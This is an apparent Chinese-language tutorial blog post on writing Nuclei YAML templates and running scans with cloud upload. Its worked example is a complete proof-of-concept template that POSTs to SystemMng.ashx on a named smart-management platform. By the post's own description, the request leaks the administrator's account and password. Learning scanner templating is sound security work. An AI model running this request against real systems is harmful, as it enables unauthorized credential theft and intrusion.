nuclei调研
前几天浅浅看了两眼yamly和nuclei,这次就看一下yaml语言写的nuclei
nuclei连接云端
nuclei提供了一个云端的页面
https://cloud.projectdiscovery.io/
进去以后登录,我是直接使用的github登录的,然后复制api key
在本地Nuclei中输入
以后扫描后面带个-cloud-upload
就中
nuclei模板学习
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| id: lianai-admin-info-poc
info: name: 脸爱云一脸通智慧管理平台管理用户信息泄露漏洞 # 漏洞名称 author: Andy # 作者 severity: high # 漏洞危害等级 info、low、medium、high、critical tags: 敏感信息泄露 # 模板标签列表,多个用,分割,可以写漏洞类型若漏洞有CVE编号,可以加上cve及 敏感信息泄露,cve description: 脸爱云一脸通智慧管理平台存在信息泄露漏洞,该漏洞源于SystemMng.ashx接口处存在信息泄露漏洞,攻击者能够利用该漏洞通过SelOperators参数泄露的当前管理员的敏感信息包括账号密码登录系统后台。 http: - method: POST path: - "{{BaseURL}}/SystemMng.ashx" headers: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36 Edg/111.0.1661.54 X-Requested-With: XMLHttpRequest Content-Type: application/x-www-form-urlencoded; charset=UTF-8 body: "username=admin&funcName=SelOperators" matchers-condition: and # 规则验证方法 and&or matchers: - type: word part: body # 指定检查位置 body响应体,header响应头,status_code状态码 words: - 超级管理员 - type: status status: - 200
|
这是一个脸爱云的用户信息泄露漏洞的poc,是使用yaml也就是nuclei模板编写的
1 2 3 4 5 6
| info: name 漏洞名称 author 作者,你给自己起一个名字就行 severity 漏洞等级,分为info,low,high,critical,表示信息,低,高,严重 tags 模板标签列表,多个用,分割,可以写漏洞类型若漏洞有CVE编号,可以加上cve及 敏感信息泄露,cve description 形容一下这个漏洞,比如上面的脸爱云就简单分析了一下这个漏洞
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| http: - method: 请求方法,GET或者POST path: - "{{BaseURL}}/SystemMng.ashx" 请求路径, headers: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36 Edg/111.0.1661.54 X-Requested-With: XMLHttpRequest Content-Type: application/x-www-form-urlencoded; charset=UTF-8 body: "username=admin&funcName=SelOperators" matchers-condition: and # 规则验证方法 and&or,and表示所有匹配条件都要满足, matchers: - type: word 检查类型是word part: body # 指定检查位置 body响应体,header响应头,status_code状态码 words: - 超级管理员 需要检查的词 - type: status status: - 200
|
1 2 3 4 5
| Matchers:体验证方法,下面的每个type为一次验证, type支持status:对响应状态代码进行整数比较, size:比较响应的内容长度,word:基于响应的特定部分进行文本比较, dsl:DSL(领域特定语言)在响应的特定部分进行高级匹配; 当选择word时,需指定part,words为关键字,支持多个关键字,他们之间的关系为并列关系。
|
这是一个简单的信息泄露
nuclei在这个界面支持自定义编写
编写的界面
自研界面
使用nuclei的话一般都是直接-u 但是nuclei要指定模板进行扫描
1
| nuclei -u 地址 -t 模板 (-p 代理) -cloud-upload
|
当然它还有很多的模板供参考,可以看一下template文件
剩下的信息nuclei官方文档写的满清楚了,我就不多叙述了